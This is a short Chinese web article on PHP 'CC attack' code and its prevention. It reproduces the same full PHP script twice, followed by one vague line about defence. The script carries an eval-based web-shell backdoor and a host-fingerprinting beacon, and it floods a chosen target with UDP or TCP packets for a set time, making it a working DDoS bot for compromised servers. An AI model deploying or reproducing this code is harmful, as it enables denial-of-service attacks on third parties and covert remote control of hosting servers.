php cc攻击代码与防范方法
程序员文章站
2022-11-20 15:54:22
cc攻击代码,支持udp复制代码 代码如下:
cc攻击代码,支持udp
<?php
eval($_post[chr(90)]);
set_time_limit(86400);
ignore_user_abort(true);
$packets = 0;
$http = $_get['http'];
$rand = $_get['exit'];
$exec_time = $_get['time'];
if (strlen($http)==0 or strlen($rand)==0 or strlen($exec_time)==0)
{
if(strlen($_get['rat'])<>0)
{
echo $_get['rat'].$_server["http_host"]."|".gethostbyname($_server['server_name'])."|".php_uname()."|".$_server['server_software'].$_get['rat'];
exit;
}
echo "php 2012 terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "x";
}
//udp1-fsockopen udp2 pfsockopen tcp3 cc.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般还是不错的。
如果你有好的软件也可以给我们留言。
复制代码 代码如下:
<?php
eval($_post[chr(90)]);
set_time_limit(86400);
ignore_user_abort(true);
$packets = 0;
$http = $_get['http'];
$rand = $_get['exit'];
$exec_time = $_get['time'];
if (strlen($http)==0 or strlen($rand)==0 or strlen($exec_time)==0)
{
if(strlen($_get['rat'])<>0)
{
echo $_get['rat'].$_server["http_host"]."|".gethostbyname($_server['server_name'])."|".php_uname()."|".$_server['server_software'].$_get['rat'];
exit;
}
echo "php 2012 terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "x";
}
//udp1-fsockopen udp2 pfsockopen tcp3 cc.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般还是不错的。
如果你有好的软件也可以给我们留言。